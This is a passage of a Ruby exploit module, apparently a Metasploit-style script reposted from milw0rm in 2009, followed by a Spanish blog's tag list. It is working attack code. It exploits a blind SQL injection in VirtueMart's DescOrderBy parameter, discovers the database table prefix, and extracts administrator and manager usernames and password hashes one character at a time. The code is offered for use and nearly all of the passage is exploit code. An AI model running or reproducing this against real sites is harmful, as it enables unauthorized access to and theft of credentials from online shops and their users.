@target_id = datastore['TARGETID']
@target_prefix = datastore['PREFIX']
@requests = @fetched = 0
time_start = Time.now.to_i

# debug_level=2 - more debug messages, 1 - less
@debug_level = 1

if(!pre_test)
print_error('Exploit failed in pre-test phase')
return
end

if(datastore['ALLSA'])
if(!get_users(1))
print_error('Exploit failed fetching Super Admins')
return
end
end

if(datastore['ALLA'])
if(!get_users(2))
print_error('Exploit failed fetching Admins')
return
end
end

if(datastore['ALLM'])
if(!get_users(3))
print_error('Exploit failed fetching Managers')
return
end
end

if((@target_id < 1) and (!datastore['ALLSA']) and (!datastore['ALLA']) and (!datastore['ALLM']))
print_status('Target ID or group(s) not specified, fetching Super Admins as default')
if(!get_users(1))
print_error('Exploit failed fetching Super Admins')
return
end
end

if(@target_id > 1)
if(!get_user())
print_error("Exploit failed fetching user with ID=#{@target_id}")
return
end
end

time_spent = Time.now.to_i - time_start

print_status("Exploitation results:")
print_status("Got data for #{@fetched} users")
print_status("Total time spent: #{time_spent} seconds")
print_status("HTTP requests needed: #{@requests}")

end
############################################################
def make_post(post_data)

timeout = 30

begin

res = send_request_cgi({
'uri' => @target_uri,
'method' => 'POST',
'data' => post_data,
}, timeout)

if(res and res.body)
@requests += 1
return res.body
else
print_error('No response from server')
return nil
end

rescue ::Exception
print_error("Error: #{$!.class} #{$!}")
return nil
end
end
############################################################
def test_condition(condition)

max_tries = 10

post_data = "page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,"
post_data << "IF(#{condition},1,(SELECT 1 UNION ALL SELECT 1))"

1.upto(max_tries) do |i|

buf = make_post(post_data)

if(buf)
return buf.include?(@marker)
else
print_status("Sleeping #{i} seconds")
sleep(i)
print_status("Awake, retry ##{i}")
end
end

return nil
end
############################################################
def pre_test

post_data = 'page=shop.browse&option=com_virtuemart&vmcchk=1'
buf = make_post(post_data) or return false

if(!buf.include?(@marker))
print_error('Pre-test 1 failed - VirtueMart not detected')
return false
else
print_status('Pre-test 1 passed - VirtueMart detected')
end

post_data = 'page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,'
buf = make_post(post_data) or return false

if(buf.include?(@marker))
print_error('Pre-test 2 failed - target is patched?')
return false
else
print_status('Pre-test 2 passed - injection detected')
end

post_data = 'page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,(SELECT 1)'
buf = make_post(post_data) or return false

if(!buf.include?(@marker))
print_error('Pre-test 3 failed - subselects not supported?')
return false
else
print_status('Pre-test 3 passed - subselects supported')
end

if(@target_prefix == '')
print_status('Prefix not provided, trying to fetch')
@target_prefix = get_prefix
if(!@target_prefix)
print_error('Prefix fetch failed')
return false
else
print_status("Prefix fetched: #{@target_prefix}")
return true
end
end

post_data = "page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=," +
"(SELECT 1 FROM #{@target_prefix}users LIMIT 1)"

buf = make_post(post_data) or return false

if(!buf.include?(@marker))
print_error('Pre-test 4 failed - wrong prefix?')
print_status('Trying to fetch valid prefix')
@target_prefix = get_prefix
if(!@target_prefix)
print_error('Prefix fetch failed')
return false
else
print_status("Prefix fetched: #{@target_prefix}")
return true
end
else
print_status('Pre-test 4 passed - prefix OK')
end

return true
end
############################################################
def get_char(pattern, min, max)

num = get_num(pattern, min, max) or return nil

return num.chr

end
############################################################
def get_hash(group = nil, u_pos = nil)

hash = ''

if(group and u_pos)
pattern = "(SELECT LENGTH(password)FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"
else
pattern = "(SELECT LENGTH(password)FROM #{@target_prefix}users WHERE id=#{@target_id})"
end

p_len = get_num(pattern, 32, 100) or return nil

print_status("Got hash length: #{p_len.to_s}")

1.upto(p_len) do |pos|
print_status("Finding hash char pos #{pos}") if @debug_level > 0

if(group and u_pos)
pattern = "(SELECT ORD(SUBSTR(password,#{pos},1))FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"
else
pattern = "(SELECT ORD(SUBSTR(password,#{pos},1))FROM #{@target_prefix}users WHERE id=#{@target_id})"
end

c = get_char(pattern, 32, 128) or return nil

hash << c
print_status("Known: #{hash}") if @debug_level > 0

end

return hash

end
############################################################
def get_prefix

prefix = ''

post_data = 'page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,' +
'(SELECT 1 FROM INFORMATION_SCHEMA.TABLES LIMIT 1)'
buf = make_post(post_data) or return false

if(!buf.include?(@marker))
print_error('INFORMATION_SCHEMA not found - mysql < 5.0?')
return false
else
print_status('INFORMATION_SCHEMA detected, proceed')
end

pattern = '(SELECT LENGTH(table_name)FROM INFORMATION_SCHEMA.TABLES' +
' WHERE table_name LIKE 0x25766d5f70726f64756374 ORDER BY table_name ASC LIMIT 0,1)'

p_len = get_num(pattern, 5, 100) or return nil
p_len -= 10

if(p_len < 0)
print_error("Invalid prefix length: #{p_len.to_s}")
return false
elsif(p_len == 0)
print_status('Prefix seems to be empty')
@target_prefix = ''
return true
else
print_status("Got prefix length: #{p_len.to_s}")
end

1.upto(p_len) do |pos|
print_status("Finding prefix char pos #{pos}") if @debug_level > 0

pattern = "(SELECT ORD(SUBSTR(table_name,#{pos},1))FROM INFORMATION_SCHEMA.TABLES" +
" WHERE table_name LIKE 0x25766d5f70726f64756374 ORDER BY table_name ASC LIMIT 0,1)"

c = get_char(pattern, 32, 128) or return nil

prefix << c
print_status("Known: #{prefix}") if @debug_level > 0

end

return prefix
end
############################################################
def get_num(pattern, min = 1, max = 100)

curr = 0;

while(1)

area = max - min
if(area < 2 )
post_data = "#{pattern}=#{max}"
eq = test_condition(post_data)

if(eq == nil)
return nil
elsif(eq)
len = max
else
len = min
end

break
end

half = area / 2
curr = min + half

post_data = "#{pattern}>#{curr}"

bigger = test_condition(post_data)

if(bigger == nil)
return nil
elsif(bigger)
min = curr
else
max = curr
end

print_status("Current: #{min}-#{max}") if @debug_level > 1

end

return len

end
############################################################
def get_username(group = nil, u_pos = nil)

username = ''

if(group and u_pos)
pattern = "(SELECT LENGTH(username)FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"
else
pattern = "(SELECT LENGTH(username)FROM #{@target_prefix}users WHERE id=#{@target_id})"
end

u_len = get_num(pattern, 1, 150) or return nil

print_status("Got username length: #{u_len.to_s}")

1.upto(u_len) do |pos|
print_status("Finding username char pos #{pos}") if @debug_level > 0

if(group and u_pos)
pattern = "(SELECT ORD(SUBSTR(username,#{pos},1))FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"
else
pattern = "(SELECT ORD(SUBSTR(username,#{pos},1))FROM #{@target_prefix}users WHERE id=#{@target_id})"
end

c = get_char(pattern, 32, 128) or return nil

username << c
print_status("Known: #{username}") if @debug_level > 0

end

return username

end
############################################################
def get_users(group)

if(group == 1)
usertype = '0x53757065722041646d696e6973747261746f72'
print_status('Starting to fetch all Super Admins')
elsif(group == 2)
usertype = '0x41646d696e6973747261746f72'
print_status('Starting to fetch all Admins')
else
usertype = '0x4d616e61676572'
print_status('Starting to fetch all Managers')
end

pattern = "(SELECT COUNT(username)FROM #{@target_prefix}users WHERE usertype=#{usertype})"

u_cnt = get_num(pattern, 0, 100) or return nil

print_status("Targets to fetch: #{u_cnt.to_s}")

0.upto(u_cnt - 1) do |pos|

print_status("Fetching user pos #{pos}")

username = get_username(usertype, pos) or return nil
hash = get_hash(usertype, pos) or return nil
@fetched += 1

print_status(
"Got user data:" +
"\n==============================\n" +
"Username: #{username}\n" +
"Hash: #{hash}" +
"\n=============================="
)

end

return true
end
############################################################
def get_user

print_status("Testing user ID=#{@target_id}")
pattern = "(SELECT COUNT(username)FROM #{@target_prefix}users WHERE ID=#{@target_id})"
u_cnt = get_num(pattern, 0, 100) or return nil

if(u_cnt != 1)
print_error("No user with ID=#{@target_id}")
return true
end

print_status("Working with user ID=#{@target_id}")

username = get_username or return nil
hash = get_hash or return nil
@fetched += 1

print_status(
"Got user data:" +
"\n==============================\n" +
"Username: #{username}\n" +
"Hash: #{hash}" +
"\n=============================="
)

return true
end
############################################################
end

# milw0rm.com [2009-03-31]
Se produjo un error en este gadget.

Etiquetas

INTERNET (457) newsweek (305) SEGURIDAD (225) software (136) HACK (86) Hacker (46) GOOGLE (44) Geek (41) hardware (36) WINDOWS (34) Hackers (31) CRACK (29) video (28) DESCARGA (27) facebook (27) videos (26) Celulares (25) MICROSOFT (22) Informatica (21) apple (19) GRATIS (18) technology (18) virus (18) exploit (17) computación (16) informatico (16) web (15) cracker (14) INALAMBRICO (13) WINDOWS 7 (13) noticias (11) MSN (10) termino (10) ACTUALIZACION (9) Gamer (9) LapTops (9) Mac (9) PASSWORD (9) WINDOWS XP (9) dns (9) firefox (9) juegos (9) FOTOS (8) cientifico (8) iphone (8) WEP (7) antivirus (7) bibliografia (7) Desencriptar (6) INFINITUM (6) wifi (6) youtube (6) Craker (5) Culiacan (5) DESMOSTRACION (5) TELEFONIA (5) messenger (5) DIRECTA (4) DOWNLOAD (4) ESPAÑOL (4) XBOX (4) gmail (4) xss (4) Glosario (3) HTML (3) WPA (3) anuncios (3) hosting (3) hotmail (3) Guru (2) ajax (2) ataques (2) wpa2 (2)